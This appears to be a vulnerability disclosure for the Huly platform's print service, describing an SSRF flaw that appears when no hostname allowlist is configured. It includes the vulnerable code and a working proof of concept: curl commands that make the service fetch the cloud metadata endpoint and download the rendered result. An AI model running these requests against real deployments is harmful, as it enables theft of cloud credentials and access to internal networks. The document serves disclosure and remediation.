hcengineering / hcengineering/platform
Print service SSRF via missing hostname allowlist in default configuration
- Dominant language
- TypeScript
- Stars
- 27.7k
- Forks
- 2.2k
- PR merge metrics
- No merged PRs in 30d
Description
### Summary
The Huly print service (`pod-print`) proxies any HTTP or HTTPS URL through a Puppeteer headless browser and returns the rendered output as a blob to the requesting authenticated user. When the `ALLOWED_HOSTNAMES` environment variable is not configured (the default in the provided `docker-compose.yaml`), the hostname allowlist is disabled and any http/https URL is accepted -- including cloud instance metadata endpoints (`http://169.254.169.254`), loopback addresses, and other internal services. An authenticated workspace member can exploit this to probe and exfiltrate content from internal network hosts by submitting a crafted `link` parameter to the `/print` endpoint.
### Details
The print service at `services/print/pod-print/src/server.ts` line 193 computes the allowlist:
```typescript
// services/print/pod-print/src/server.ts (line 193)
const whitelistedHostnames = allowedHostnames.length > 0 ? new Set(allowedHostnames) : null
```
`allowedHostnames` is populated from `config.AllowedHostnames`, which is parsed from the `ALLOWED_HOSTNAMES` environment variable in `config.ts`:
```typescript
// services/print/pod-print/src/config.ts
AllowedHostnames: allowedHostnames == null ? [] : allowedHostnames.split(','),
```
When `ALLOWED_HOSTNAMES` is not set, `allowedHostnames` is an empty array, so `whitelistedHostnames` is `null`. The validation check at lines 209-214 of `server.ts` is:
```typescript
if (
!['http:', 'https:'].includes(url.protocol) ||
(whitelistedHostnames != null && !whitelistedHostnames.has(url.hostname))
) {
throw new ApiError(403, 'Cannot process provided link')
}
```
When `whitelistedHostnames` is `null`, the second condition `(null != null && ...)` evaluates to `false`, so the only protection is the protocol check. Any `http://` or `https://` URL bypasses the guard. The URL is then passed to `print(ctx, link, options)` which launches Puppeteer and navigates to the supplied URL. The rendered PDF (or PNG/JPEG) is stored in the workspace blob store and the blob ID is returned to the caller who can then download the content.
The default `dev/docker-compose.yaml` does not set `ALLOWED_HOSTNAMES` for the print service, confirming this is the out-of-box default.
### PoC
Prerequisites: a valid workspace token (any authenticated workspace member), the print service accessible (default port 4005).
```bash
# Step 1: Request the print service to render the AWS instance metadata endpoint.
# Replace TOKEN with a valid Huly workspace JWT and PRINT_HOST with the print service host.
PRINT_HOST="http://localhost:4005"
TOKEN=""
# Trigger Puppeteer fetch of internal metadata
curl -s -G "${PRINT_HOST}/print" \
--data-urlencode "link=http://169.254.169.254/latest/meta-data/" \
--data-urlencode "kind=pdf" \
-H "Authorization: Bearer ${TOKEN}"
# Expected output (blob ID returned):
# {"id":"print-"}
# Step 2: Retrieve the rendered blob from the workspace file store.
# The blob will contain a PDF rendering of the AWS metadata page content.
# Use the standard Huly /files endpoint with the same workspace token.
FILES_HOST="http://localhost:8087"
BLOB_ID="print-"
curl -s "${FILES_HOST}/files?file=${BLOB_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-o /tmp/metadata.pdf
# The resulting PDF contains the rendered response from http://169.254.169.254/
# Validation via in-process logic test (Node.js, no runtime required):
# The following reproduces the server-side allowlist check:
node -e "
const allowedHostnames = []; // ALLOWED_HOSTNAMES env not set -> empty array
const whitelistedHostnames = allowedHostnames.length > 0 ? new Set(allowedHostnames) : null;
const link = 'http://169.254.169.254/latest/meta-data/';
const url = new URL(link);
const blocked = !['http:', 'https:'].includes(url.protocol)
|| (whitelistedHostnames != null && !whitelistedHostnames.has(url.hostname));
console.log('blocked:', blocked); // blocked: false -> SSRF succeeds
"
# Output:
# blocked: false
```
### Impact
An authenticated workspace member (the lowest privilege level) can use the print service as an HTTP/HTTPS proxy to reach any host reachable from the print container. On cloud deployments this includes the instance metadata service (AWS `http://169.254.169.254`, GCP `http://metadata.google.internal`, etc.), internal APIs, and other microservices on the private network. The Puppeteer browser renders the fetched page including JavaScript execution, so the rendered content is returned in full as a downloadable PDF or image blob. This enables credential theft (cloud API keys from IMDS), internal service enumeration, and lateral movement.
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.